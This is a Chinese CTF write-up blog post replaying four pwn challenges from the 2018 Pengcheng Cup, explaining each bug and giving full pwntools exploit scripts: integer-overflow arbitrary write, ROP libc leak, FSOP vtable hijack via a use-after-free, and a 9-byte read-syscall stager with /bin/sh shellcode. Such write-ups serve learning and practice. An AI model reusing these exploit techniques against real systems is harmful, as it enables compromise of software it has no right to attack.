鹏程杯 2018 部分题目复现

Catalpa 网络安全爱好者

这是一份迟来的 wp,最近一直在忙考试什么的,只能抽时间来复现一下题目。首先要吐槽一下 pcb 的线下比赛,虽然是第一次举办,但是平台也要测试好再上,否则会出现比赛一开始平台就崩了的尴尬情况 ORZ。
不过线上赛的题目质量还不错,学到了一些东西。

pwn

1. OverInt

pwn 的签到题目,漏洞可以说是摆在脸上了(题目名字也是提示),一处任意地址写:
image

不过在之前有两步验证需要通过,第一个是类似 hash 的函数,要求返回值是 35,第二个是求和函数,要求输入四个数,并且它们的和要等于 0x20633372,另外,0x20633372 和最开始输入的数之和要小于等于 4。
存在一个漏洞,通过整数溢出来绕过验证。

第一个验证可以爆破出来,然后构造一个整数溢出,让最后的和的二进制最高位变成一,由于是 int 型变量,那么这个数就会被视为负数从而绕过验证。
直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from pwn import *

context(log_level="DEBUG")
libc = ELF("./libc-2.23.so")
p = process("./overInt")
#p = remote("58.20.46.148", 35272)

def change(offset, content, flag = 0):
p.send(p32(offset))
p.recv()
p.send(content[0])
p.recv()
p.send(p32(offset + 1)) # offset
p.recv()
p.send(content[1])
p.recv()
p.send(p32(offset + 2)) # offset
p.recv()
p.send(content[2])
p.recv()
p.send(p32(offset + 3)) # offset
p.recv()
p.send(content[3])
p.recv()
p.send(p32(offset + 4)) # offset
p.recv()
p.send(content[4])
p.recv()
p.send(p32(offset + 5)) # offset
p.recv()
p.send(content[5])
p.recv()
p.send(p32(offset + 6)) # offset
p.recv()
p.send(content[6])
p.recv()
p.send(p32(offset + 7)) # offset
p.recv()
p.send(content[7])
if(flag == 1):
p.recv(19)
temp = u64(p.recv(6).ljust(8,'\x00'))
return temp
p.recv()

p.recv()
k1 = chr(2) + chr(224) + chr(157) + chr(95)
p.send(k1)
gdb.attach(p)
p.recv()
p.send(p32(5))
p.recv()
p.send("\x6e\x33\x63\x20")
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
pop_ret = 0x0000000000400b13
puts_got = 0x602018
p.send(p32(32)) # len
p.recv()
change(0x38, p64(pop_ret))
change(0x40, p64(puts_got))
change(0x48, p64(0x400550))
puts_addr = change(0x50, p64(0x40087f), 1)
log.info("puts_addr = 0x%x" % puts_addr)
libc_addr = puts_addr - libc.symbols["puts"]
log.success("libc_addr : 0x%x" % libc_addr)
one_gadget = libc_addr + 0x45216

k1 = chr(2) + chr(224) + chr(157) + chr(95)
p.send(k1)
p.recv()
p.send(p32(5))
p.recv()
p.send("\x6e\x33\x63\x20")
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(1))
p.recv()
p.send(p32(8))
p.recv()
#gdb.attach(p)
change(0x38, p64(one_gadget))

p.interactive()

没有太多需要解释的,唯一一点就是需要注意任意地址写每次只能写一个字节,而且我们需要利用这个漏洞两次,第一次用来泄露地址,第二次触发漏洞。

2. code

和上一道题类似,需要先过一个 hash 验证,然后就是一个标准的栈溢出,通过爆破 hash 验证,爆破脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
solver = "wabcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

it = 0

for a in solver:
print("Solving... %d" % it)
it += 1
for b in solver:
for c in solver:
for d in solver:
for e in solver:
temp = a + b + c + d + e
i = 0
v4 = 0
for i in range(5):
v0 = 117 * v4 + ord(temp[i])
v4 = v0 - 0x1D5E0C579E0 * (((((0x8B7978B2C52E2845 * v0) >> 64) + v0) >> 40) - (v0 >> 63))
if v4 == 22493966389:
print("FOUND: %s" % temp)
exit()

# wyBTs

最后解出来密码是 wyBTs

接着就可以通过经典的栈溢出来拿 shell 了,需要注意一点,程序中有 seccomp 的保护,直接使用 one_gadget 不行,需要用 system 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context(log_level = "DEBUG")
libc = ELF("./libc-2.23.so")
p = process("./code")
p.recvuntil("name:\n")
p.sendline("wyBTs")
p.recvuntil("save\n")
pop_rdi = 0x400983
payload = 'a' * 0x78 + p64(pop_rdi) + p64(0x601020) + p64(0x400570) + p64(0x400801)
p.sendline(payload)
p.recv(13)
strlen_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = strlen_addr - libc.symbols["strlen"]
log.success("Libc address : 0x%x" % libc_addr)
system_addr = libc_addr + libc.symbols["system"]
binsh = libc_addr + 0x18cd57
p.recvuntil("save\n")
p.sendline("a" * 0x78 + p64(pop_rdi) + p64(binsh) + p64(system_addr))
p.interactive()

3. random (FSOP 攻击)

本题的考点是之前学过的 IO_FILE 的利用,不过之前的例子(HCTF 2018 the_end)是直接修改了 vtable 中的函数指针,但是本题需要我们先将 vtable 迁移到可控的内存,然后伪造函数指针,达到利用效果。
先用 IDA 看一下程序的代码
image

重点在函数 sub_D20 ,注册了三个虚函数
image

也就是说,相当于构建了一个菜单,输入 1 打开 /dev/urandom 文件
image

输入 2 会进入到主要逻辑
image

输入 3 关闭设备文件
image

主要漏洞出在第三个函数,我们需要了解一个知识点,那就是 fopen 和 fclose,当调用了 fopen 之后,内核会打开一个磁盘上的文件,然后使用文件指针(就是 FILE* 类型)来标记打开的文件,并且将这个结构体存储在堆上,当调用 fclose 时,内核的关键操作是 free 之前创建在堆上的堆块,清除已经打开的文件指针,但是,本题将 fopen 所创建的堆块地址给了一个全局变量 stream,而在 fclose 之后没有清除这个指针,造成 UAF,我们可以尝试释放 stream 之后修改堆块的内容来劫持 vtable。
本题所有保护都开启了,首先要做的是泄露地址,仔细观察,在 compare 函数中有一个格式化字符串漏洞,但是由于使用了 printf_chk,所以并不能拿来修改地址,只能泄露一些地址。
一个知识点是,当 scanf 输入较多,会在堆上申请空间并存储输入(当然栈上也有)这就导致了泄露出的地址位置比较奇怪,需要多次测试才能找到合适的地址。
我们需要找到三个必要的地址,libc基地址、程序的地址以及堆的地址。

泄露出地址之后,开始构建漏洞利用环境,将 stream close,接着调用 compare,当 scanf 的时候,就会将刚刚 free 的 FILE 结构体给分配回来,并且可以写入任意的值,在这里我们开始伪造 FILE 结构体,并且将 vtable 迁移到堆上可控内存中,伪造好 vtable 函数指针,当执行 fread 时会出错,程序跑到 _IO_flush_all_lockp,然后调用伪造的函数(one_gadget),即可拿到 shell。

关于 IO_FILE 的一些分析在前面的文章中说过了,所以直接给出脚本

PS: 借用了 Lilac 战队师傅们的脚本,师傅们把 IO_FILE 的一些结构体封装在了一个类里面,用起来很方便。

IO_FILE 类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *
import struct

_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
return struct.unpack("<Q",data)[0]

def _u32(data):
return struct.unpack("<I",data)[0]

def _u16(data):
return struct.unpack("<H",data)[0]

def _u8(data):
return ord(data)

def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _p64(data):
return struct.pack("<Q",data)

def _p32(data):
return struct.pack("<I",data)

def _p16(data):
return struct.pack("<H",data)

def _p8(data):
return chr(data)

def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()

def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()

class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2887 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = 0 # Current read pointer
self._IO_read_end = 0 # End of get area
self._IO_read_base = 0 # Start of putback+get area
self._IO_write_base = 0 # Start of put area
self._IO_write_ptr = 0 # Current put pointer
self._IO_write_end = 0 # End of put area
self._IO_buf_base = 0 # Start of reserve area
self._IO_buf_end = 0 # End of reserve area

# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area

self._markers = 0
self._chain = 0

self._fileno = 0
self._flags2 = 0
self._old_offset = 0 # This used to be _offset but it's too small

# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0

self._lock = 0

if not _IO_USE_OLD_IO_FILE:
self._offset = 0
self._codecvt = 0
self._wide_data = 0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = 0

def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf

def __str__(self):
return self.tostr()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import IO_FILE

# context(log_level="DEBUG")
p = process("./random")
libc = ELF("./libc-2.23.so")
sleep(0.1)
# ======= Build uaf pointer =======
p.sendline("1")
sleep(0.1)
p.sendline("3")
sleep(0.1)
p.sendline("2")
sleep(0.1)
# ======= Leak address =======
payload1 = "%p"*393 + "abcde" + "%p" *12
p.sendline(payload1)
p.recvuntil("abcde")
elf_base = int(p.recv(14),16) - 0x2020b0
log.success("ELF BASE : 0X%x" % elf_base)
payload2 = "%p" * (393 + 12) + "qwert" + "%p"
sleep(0.1)
p.sendline("1")
sleep(0.1)
p.sendline(payload2)
p.recvuntil("qwert")
libc_addr = int(p.recv(14),16) - libc.symbols["__libc_start_main"] - 240
log.success("libc_addr : 0x%x" % libc_addr)
one_gadget = libc_addr + 0xf02a4
sleep(0.1)
payload3 = "%p" * 9 + "%s%s%s" + p64(elf_base + 0x2020a0)
p.sendline("1")
sleep(0.1)
# gdb.attach(p)
p.sendline(payload3)
sleep(0.1)
p.recvuntil("next\n")
p.recv(100)
heap_addr = u64(p.recv(6).ljust(8, "\x00"))
log.success("heap_addr : 0x%x" % heap_addr)
sleep(0.1)
# ======= Fake vtable attack =======
p.sendline("1")
fake_file = IO_FILE._IO_FILE_plus()
fake_file._IO_write_ptr = 1
fake_file.vtable = heap_addr + 0xe0
fake_file._lock = heap_addr + 0x2000
payload4 = fake_file.tostr() + p64(0) + p64(one_gadget) * 0x20
p.sendline(payload4)
sleep(0.1)
# gdb.attach(p)
p.sendline("0")
p.interactive()

4. treasure

本题有点意思,第一个函数的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void *settreasure()
{
unsigned int v0; // eax
int v1; // ST0C_4

sea = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
code = mmap(0LL, 0x1000uLL, 3, 34, -1, 0LL);
v0 = time(0LL);
srand(v0);
v1 = rand() % 900;
memcpy((sea + v1), "TREASURE", 8uLL);
memcpy((sea + v1), &shellcode, 38uLL);
return memset(&shellcode, 0, 0x25uLL);
}

调用 mmap 在一个随机的地址分配了空间,然后把一段 shellcode 拷贝到新分配的空间中,随后清除原来的 shellcode。
第二个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 treasure()
{
__int64 (__fastcall *v0)(); // rsi
void *v1; // rsi
__int64 result; // rax

puts("Do you want my treasure? Find them yourself! It's shellcode!\n");
fflush(stdout);
v0 = 10;
make_code_executable(code, 10);
while ( 1 )
{
printf("will you continue?(enter 'n' to quit) :", v0);
fflush(stdout);
v1 = code;
read(0, code, 1uLL);
result = *code;
if ( result == 'n' )
break;
getchar();
printf("start!!!!", v1);
fflush(stdout);
v0 = 9;
getsn(code + 1, 9u);
if ( !*(code + 10) )
{
v0 = nullsub_1;
memcpy(code + 10, nullsub_1, 1uLL);
}
ret = ((code + 1))(ret, v0);
}
return result;
}

这是程序的主要逻辑,简单的说就是一次可以执行不大于 9 个字节的任意代码,要求在这种情况下拿到 shell。
保护只开了 NX。

这道题在比赛的时候想了很多做法,但是都失败了,现在回想原因是掉进了出题人的坑里面,总是先要找办法命中出题人的 shellcode,但实际上,我们可以利用这 9 个字节来做一个系统调用,read 自己的 shellcode。

首先,要通过动态调试来看看在跳转到 9 字节 shellcode 时,环境是怎样的
image

寄存器方面,有用的地址在 RDX 中,里面存储着 shellcode 的地址,且位于可读可写可执行段。
栈上没有什么有用的地址,所以,我们就利用 RDX 构造 read 系统调用。
首先在网上找一下 64 位 linux 的系统调用表,发现 0 号 syscall 就是 read
image

根据参数表,可以写出以下汇编,来满足 syscall 的要求

1
2
3
4
5
6
push rdx
pop rsi
push 100
pop rdx
syscall
ret

这几句汇编转换成机器码之后的长度是 8 个字节,满足要求,实现的功能是向 RWX 段写入自己的 shellcode。
image

接下来就是构造真正的 shellcode 了,如果直接把 shellcode 写上去的话,会发现程序直接崩溃退出,原因是修改了正在执行中的代码,rip 指向了机器码中的一个非法位置,从而抛出异常。
所以,我们需要给 shellcode 添加一点前缀,加上一些 \x90,这样,rip 就会命中一堆 nop ,从而正确的执行到 shellcode(又叫做雪橇攻击)。

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

context(log_level="DEBUG", arch="amd64", os="linux")
p = process("./treasure")
p.recvuntil("will you continue?(enter 'n' to quit) :")
p.sendline("y")
p.recvuntil("start!!!!")
shellcode = asm('''
push rdx
pop rsi
push 100
pop rdx
syscall
ret
''')
print(len(shellcode))
gdb.attach(p)
p.sendline(shellcode)
shellcode_x64 = '\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f\x05'
sleep(0.1)
print(len(shellcode_x64))
p.sendline(shellcode_x64)
p.interactive()
  • Title: 鹏程杯 2018 部分题目复现
  • Author: Catalpa
  • Created at : 2019-01-20 00:00:00
  • Updated at : 2024-10-17 08:52:01
  • Link: https://wzt.ac.cn/2019/01/20/pcb2018-online/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
鹏程杯 2018 部分题目复现